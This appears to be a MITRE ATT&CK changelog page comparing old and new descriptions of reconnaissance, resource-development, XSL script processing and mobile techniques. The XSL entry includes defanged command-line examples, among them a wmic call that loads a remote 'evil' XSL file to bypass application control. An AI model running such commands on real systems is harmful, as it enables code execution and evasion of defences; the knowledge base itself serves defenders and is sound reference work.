| > | tware that can, potentially, be exploited by an adversary to | > | e exploited by an adversary to cause unintended or unanticip | ||
| > | cause unintended or unanticipated behavior to occur. Advers | > | ated behavior to occur. Adversaries may find vulnerability i | ||
| > | aries may find vulnerability information by searching open d | > | nformation by searching open databases or gaining access to | ||
| > | atabases or gaining access to closed vulnerability databases | > | closed vulnerability databases.(Citation: National Vulnerabi | ||
| > | .(Citation: National Vulnerability Database) An adversary m | > | lity Database) An adversary may monitor vulnerability discl | ||
| > | ay monitor vulnerability disclosures/databases to understand | > | osures/databases to understand the state of existing, as wel | ||
| > | the state of existing, as well as newly discovered, vulnera | > | l as newly discovered, vulnerabilities. There is usually a d | ||
| > | bilities. There is usually a delay between when a vulnerabil | > | elay between when a vulnerability is discovered and when it | ||
| > | ity is discovered and when it is made public. An adversary m | > | is made public. An adversary may target the systems of those | ||
| > | ay target the systems of those known to conduct vulnerabilit | > | known to conduct vulnerability research (including commerci | ||
| > | y research (including commercial vendors). Knowledge of a vu | > | al vendors). Knowledge of a vulnerability may cause an adver | ||
| > | lnerability may cause an adversary to search for an existing | > | sary to search for an existing exploit (i.e. [Exploits](http | ||
| > | exploit (i.e. [Exploits](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1588/005)) or to attempt to | ||
| > | s/T1588/005)) or to attempt to develop one themselves (i.e. | > | develop one themselves (i.e. [Exploits](https://attack.mitr | ||
| > | [Exploits](https://attack.mitre.org/techniques/T1587/004)). | > | e.org/techniques/T1587/004)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 01:54:39.868000+00:00 | 2021-04-15 03:16:32.119000+00:00 |
| description | Before compromising a victim, adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database) An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)). | Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database) An adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may scan victims f | t | 1 | Adversaries may scan victims for vulnerabilities that can be |
| > | or vulnerabilities that can be used during targeting. Vulner | > | used during targeting. Vulnerability scans typically check | ||
| > | ability scans typically check if the configuration of a targ | > | if the configuration of a target host/application (ex: softw | ||
| > | et host/application (ex: software and version) potentially a | > | are and version) potentially aligns with the target of a spe | ||
| > | ligns with the target of a specific exploit the adversary ma | > | cific exploit the adversary may seek to use. These scans ma | ||
| > | y seek to use. These scans may also include more broad atte | > | y also include more broad attempts to [Gather Victim Host In | ||
| > | mpts to [Gather Victim Host Information](https://attack.mitr | > | formation](https://attack.mitre.org/techniques/T1592) that c | ||
| > | e.org/techniques/T1592) that can be used to identify more co | > | an be used to identify more commonly known, exploitable vuln | ||
| > | mmonly known, exploitable vulnerabilities. Vulnerability sca | > | erabilities. Vulnerability scans typically harvest running s | ||
| > | ns typically harvest running software and version numbers vi | > | oftware and version numbers via server banners, listening po | ||
| > | a server banners, listening ports, or other network artifact | > | rts, or other network artifacts.(Citation: OWASP Vuln Scanni | ||
| > | s.(Citation: OWASP Vuln Scanning) Information from these sca | > | ng) Information from these scans may reveal opportunities fo | ||
| > | ns may reveal opportunities for other forms of reconnaissanc | > | r other forms of reconnaissance (ex: [Search Open Websites/D | ||
| > | e (ex: [Search Open Websites/Domains](https://attack.mitre.o | > | omains](https://attack.mitre.org/techniques/T1593) or [Searc | ||
| > | rg/techniques/T1593) or [Search Open Technical Databases](ht | > | h Open Technical Databases](https://attack.mitre.org/techniq | ||
| > | tps://attack.mitre.org/techniques/T1596)), establishing oper | > | ues/T1596)), establishing operational resources (ex: [Develo | ||
| > | ational resources (ex: [Develop Capabilities](https://attack | > | p Capabilities](https://attack.mitre.org/techniques/T1587) o | ||
| > | .mitre.org/techniques/T1587) or [Obtain Capabilities](https: | > | r [Obtain Capabilities](https://attack.mitre.org/techniques/ | ||
| > | //attack.mitre.org/techniques/T1588)), and/or initial access | > | T1588)), and/or initial access (ex: [Exploit Public-Facing A | ||
| > | (ex: [Exploit Public-Facing Application](https://attack.mit | > | pplication](https://attack.mitre.org/techniques/T1190)). | ||
| > | re.org/techniques/T1190)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:58:06.761000+00:00 | 2021-04-15 03:20:09.446000+00:00 |
| description | Before compromising a victim, adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. These scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network device logs | Network Traffic: Network Traffic Content |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may search public | t | 1 | Adversaries may search public WHOIS data for information abo |
| > | WHOIS data for information about victims that can be used du | > | ut victims that can be used during targeting. WHOIS data is | ||
| > | ring targeting. WHOIS data is stored by regional Internet re | > | stored by regional Internet registries (RIR) responsible for | ||
| > | gistries (RIR) responsible for allocating and assigning Inte | > | allocating and assigning Internet resources such as domain | ||
| > | rnet resources such as domain names. Anyone can query WHOIS | > | names. Anyone can query WHOIS servers for information about | ||
| > | servers for information about a registered domain, such as a | > | a registered domain, such as assigned IP blocks, contact inf | ||
| > | ssigned IP blocks, contact information, and DNS nameservers. | > | ormation, and DNS nameservers.(Citation: WHOIS) Adversaries | ||
| > | (Citation: WHOIS) Adversaries may search WHOIS data to gath | > | may search WHOIS data to gather actionable information. Thr | ||
| > | er actionable information. Threat actors can use online reso | > | eat actors can use online resources or command-line utilitie | ||
| > | urces or command-line utilities to pillage through WHOIS dat | > | s to pillage through WHOIS data for information about potent | ||
| > | a for information about potential victims. Information from | > | ial victims. Information from these sources may reveal oppor | ||
| > | these sources may reveal opportunities for other forms of re | > | tunities for other forms of reconnaissance (ex: [Active Scan | ||
| > | connaissance (ex: [Active Scanning](https://attack.mitre.org | > | ning](https://attack.mitre.org/techniques/T1595) or [Phishin | ||
| > | /techniques/T1595) or [Phishing for Information](https://att | > | g for Information](https://attack.mitre.org/techniques/T1598 | ||
| > | ack.mitre.org/techniques/T1598)), establishing operational r | > | )), establishing operational resources (ex: [Acquire Infrast | ||
| > | esources (ex: [Acquire Infrastructure](https://attack.mitre. | > | ructure](https://attack.mitre.org/techniques/T1583) or [Comp | ||
| > | org/techniques/T1583) or [Compromise Infrastructure](https:/ | > | romise Infrastructure](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1584)), and/or initial access | > | 1584)), and/or initial access (ex: [External Remote Services | ||
| > | (ex: [External Remote Services](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1133) or [Trusted Rel | ||
| > | hniques/T1133) or [Trusted Relationship](https://attack.mitr | > | ationship](https://attack.mitre.org/techniques/T1199)). | ||
| > | e.org/techniques/T1199)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:20:43.941000+00:00 | 2021-04-15 03:50:44.113000+00:00 |
| description | Before compromising a victim, adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise acc | t | 1 | Adversaries may compromise access to third-party web service |
| > | ess to third-party web services that can be used during targ | > | s that can be used during targeting. A variety of popular we | ||
| > | eting. A variety of popular websites exist for legitimate us | > | bsites exist for legitimate users to register for web-based | ||
| > | ers to register for web-based services, such as GitHub, Twit | > | services, such as GitHub, Twitter, Dropbox, Google, etc. Adv | ||
| > | ter, Dropbox, Google, etc. Adversaries may try to take owner | > | ersaries may try to take ownership of a legitimate user's ac | ||
| > | ship of a legitimate user's access to a web service and use | > | cess to a web service and use that web service as infrastruc | ||
| > | that web service as infrastructure in support of cyber opera | > | ture in support of cyber operations. Such web services can b | ||
| > | tions. Such web services can be abused during later stages o | > | e abused during later stages of the adversary lifecycle, suc | ||
| > | f the adversary lifecycle, such as during Command and Contro | > | h as during Command and Control ([Web Service](https://attac | ||
| > | l ([Web Service](https://attack.mitre.org/techniques/T1102)) | > | k.mitre.org/techniques/T1102)) or [Exfiltration Over Web Ser | ||
| > | or [Exfiltration Over Web Service](https://attack.mitre.org | > | vice](https://attack.mitre.org/techniques/T1567).(Citation: | ||
| > | /techniques/T1567).(Citation: Recorded Future Turla Infra 20 | > | Recorded Future Turla Infra 2020) Using common services, suc | ||
| > | 20) Using common services, such as those offered by Google o | > | h as those offered by Google or Twitter, makes it easier for | ||
| > | r Twitter, makes it easier for adversaries to hide in expect | > | adversaries to hide in expected noise. By utilizing a web s | ||
| > | ed noise. By utilizing a web service, particularly when acce | > | ervice, particularly when access is stolen from legitimate u | ||
| > | ss is stolen from legitimate users, adversaries can make it | > | sers, adversaries can make it difficult to physically tie ba | ||
| > | difficult to physically tie back operations to them. | > | ck operations to them. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:02:30.304000+00:00 | 2021-04-15 03:04:40.184000+00:00 |
| description | Before compromising a victim, adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. | Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may register for w | t | 1 | Adversaries may register for web services that can be used d |
| > | eb services that can be used during targeting. A variety of | > | uring targeting. A variety of popular websites exist for adv | ||
| > | popular websites exist for adversaries to register for a web | > | ersaries to register for a web-based service that can be abu | ||
| > | -based service that can be abused during later stages of the | > | sed during later stages of the adversary lifecycle, such as | ||
| > | adversary lifecycle, such as during Command and Control ([W | > | during Command and Control ([Web Service](https://attack.mit | ||
| > | eb Service](https://attack.mitre.org/techniques/T1102)) or [ | > | re.org/techniques/T1102)) or [Exfiltration Over Web Service] | ||
| > | Exfiltration Over Web Service](https://attack.mitre.org/tech | > | (https://attack.mitre.org/techniques/T1567). Using common se | ||
| > | niques/T1567). Using common services, such as those offered | > | rvices, such as those offered by Google or Twitter, makes it | ||
| > | by Google or Twitter, makes it easier for adversaries to hid | > | easier for adversaries to hide in expected noise. By utiliz | ||
| > | e in expected noise. By utilizing a web service, adversaries | > | ing a web service, adversaries can make it difficult to phys | ||
| > | can make it difficult to physically tie back operations to | > | ically tie back operations to them. | ||
| > | them. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 17:59:17.456000+00:00 | 2021-04-15 02:53:19.246000+00:00 |
| description | Before compromising a victim, adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them. | Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them. |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may bypass application control and obscure execu | t | 1 | Adversaries may bypass application control and obscure execu |
| > | tion of code by embedding scripts inside XSL files. Extensib | > | tion of code by embedding scripts inside XSL files. Extensib | ||
| > | le Stylesheet Language (XSL) files are commonly used to desc | > | le Stylesheet Language (XSL) files are commonly used to desc | ||
| > | ribe the processing and rendering of data within XML files. | > | ribe the processing and rendering of data within XML files. | ||
| > | To support complex operations, the XSL standard includes sup | > | To support complex operations, the XSL standard includes sup | ||
| > | port for embedded scripting in various languages. (Citation: | > | port for embedded scripting in various languages. (Citation: | ||
| > | Microsoft XSLT Script Mar 2017) Adversaries may abuse this | > | Microsoft XSLT Script Mar 2017) Adversaries may abuse this | ||
| > | functionality to execute arbitrary files while potentially | > | functionality to execute arbitrary files while potentially | ||
| > | bypassing application control. Similar to [Trusted Developer | > | bypassing application control. Similar to [Trusted Developer | ||
| > | Utilities Proxy Execution](https://attack.mitre.org/techniq | > | Utilities Proxy Execution](https://attack.mitre.org/techniq | ||
| > | ues/T1127), the Microsoft common line transformation utility | > | ues/T1127), the Microsoft common line transformation utility | ||
| > | binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be i | > | binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be i | ||
| > | nstalled and used to execute malicious JavaScript embedded w | > | nstalled and used to execute malicious JavaScript embedded w | ||
| > | ithin local or remote (URL referenced) XSL files. (Citation: | > | ithin local or remote (URL referenced) XSL files. (Citation: | ||
| > | Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is | > | Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is | ||
| > | not installed by default, an adversary will likely need to | > | not installed by default, an adversary will likely need to | ||
| > | package it with dropped files. (Citation: Reaqta MSXSL Spear | > | package it with dropped files. (Citation: Reaqta MSXSL Spear | ||
| > | phishing MAR 2018) Msxsl.exe takes two main arguments, an XM | > | phishing MAR 2018) Msxsl.exe takes two main arguments, an XM | ||
| > | L source file and an XSL stylesheet. Since the XSL file is v | > | L source file and an XSL stylesheet. Since the XSL file is v | ||
| > | alid XML, the adversary may call the same XSL file twice. Wh | > | alid XML, the adversary may call the same XSL file twice. Wh | ||
| > | en using msxsl.exe adversaries may also give the XML/XSL fil | > | en using msxsl.exe adversaries may also give the XML/XSL fil | ||
| > | es an arbitrary file extension.(Citation: XSL Bypass Mar 201 | > | es an arbitrary file extension.(Citation: XSL Bypass Mar 201 | ||
| > | 9) Command-line examples:(Citation: Penetration Testing Lab | > | 9) Command-line examples:(Citation: Penetration Testing Lab | ||
| > | MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * <code>ms | > | MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * <code>ms | ||
| > | xsl.exe customers[.]xml script[.]xsl</code> * <code>msxsl.ex | > | xsl.exe customers[.]xml script[.]xsl</code> * <code>msxsl.ex | ||
| > | e script[.]xsl script[.]xsl</code> * <code>msxsl.exe script[ | > | e script[.]xsl script[.]xsl</code> * <code>msxsl.exe script[ | ||
| > | .]jpeg script[.]jpeg</code> Another variation of this techn | > | .]jpeg script[.]jpeg</code> Another variation of this techn | ||
| > | ique, dubbed “Squiblytwo”, involves using [Windows Managemen | > | ique, dubbed “Squiblytwo”, involves using [Windows Managemen | ||
| > | t Instrumentation](https://attack.mitre.org/techniques/T1047 | > | t Instrumentation](https://attack.mitre.org/techniques/T1047 | ||
| > | ) to invoke JScript or VBScript within an XSL file.(Citation | > | ) to invoke JScript or VBScript within an XSL file.(Citation | ||
| > | : LOLBAS Wmic) This technique can also execute local/remote | > | : LOLBAS Wmic) This technique can also execute local/remote | ||
| > | scripts and, similar to its [Regsvr32](https://attack.mitre. | > | scripts and, similar to its [Regsvr32](https://attack.mitre. | ||
| > | org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a | > | org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverag | ||
| > | trusted, built-in Windows tool. Adversaries may abuse any a | > | es a trusted, built-in Windows tool. Adversaries may abuse a | ||
| > | lias in [Windows Management Instrumentation](https://attack. | > | ny alias in [Windows Management Instrumentation](https://att | ||
| > | mitre.org/techniques/T1047) provided they utilize the /FORMA | > | ack.mitre.org/techniques/T1047) provided they utilize the /F | ||
| > | T switch.(Citation: XSL Bypass Mar 2019) Command-line examp | > | ORMAT switch.(Citation: XSL Bypass Mar 2019) Command-line e | ||
| > | les:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) | > | xamples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmi | ||
| > | * Local File: <code>wmic process list /FORMAT:evil[.]xsl</co | > | c) * Local File: <code>wmic process list /FORMAT:evil[.]xsl | ||
| > | de> * Remote File: <code>wmic os get /FORMAT:”https[:]//exam | > | </code> * Remote File: <code>wmic os get /FORMAT:”https[:]// | ||
| > | ple[.]com/evil[.]xsl”</code> | > | example[.]com/evil[.]xsl”</code> | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:45:46.479000+00:00 | 2021-02-09 15:07:00.842000+00:00 |
| description | Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
* msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
* Local File: wmic process list /FORMAT:evil[.]xsl
* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” | Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
* msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
* Local File: wmic process list /FORMAT:evil[.]xsl
* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl” |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Module: Module Load |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process use of network | |
| x_mitre_data_sources | DLL monitoring |
Current version: 1.0
Description: Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java’s `Runtime` package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken. If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.
Current version: 1.0
Description: Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot) The most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.
Current version: 1.0
Description: Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval. On Android, the `WorkManager` API allows asynchronous tasks to be scheduled with the system. `WorkManager` was introduced to unify task scheduling on Android, using `JobScheduler`, `GcmNetworkManager`, and `AlarmManager` internally. `WorkManager` offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).(Citation: Android WorkManager) On iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | A malicious application can request Device Administrator pri | t | 1 | Adversaries may request device administrator permissions to |
| > | vileges. If the user grants the privileges, the application | > | perform malicious actions. By abusing the device administra | ||
| > | can take steps to make its removal more difficult. | > | tion API, adversaries can perform several nefarious actions, | ||
| > | such as resetting the device’s password for [Device Lockout | ||||
| > | ](https://attack.mitre.org/techniques/T1446), factory resett | ||||
| > | ing the device to [Delete Device Data](https://attack.mitre. | ||||
| > | org/techniques/T1447) and any traces of the malware, disabli | ||||
| > | ng all of the device’s cameras, or make it more difficult to | ||||
| > | uninstall the app.(Citation: Android DeviceAdminInfo) Devi | ||||
| > | ce administrators must be approved by the user at runtime, w | ||||
| > | ith a system popup showing which of the actions have been re | ||||
| > | quested by the app. In conjunction with other techniques, su | ||||
| > | ch as [Input Injection](https://attack.mitre.org/techniques/ | ||||
| > | T1516), an app can programmatically grant itself administrat | ||||
| > | or permissions without any user input. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-02-03 16:56:41.200000+00:00 | 2020-11-24 13:40:08.343000+00:00 |
| name | Abuse Device Administrator Access to Prevent Removal | Device Administrator Permissions |
| description | A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult. | Adversaries may request device administrator permissions to perform malicious actions. By abusing the device administration API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Device Lockout](https://attack.mitre.org/techniques/T1446), factory resetting the device to [Delete Device Data](https://attack.mitre.org/techniques/T1447) and any traces of the malware, disabling all of the device’s cameras, or make it more difficult to uninstall the app.(Citation: Android DeviceAdminInfo) Device administrators must be approved by the user at runtime, with a system popup showing which of the actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input. |
| kill_chain_phases[0]['phase_name'] | persistence | privilege-escalation |
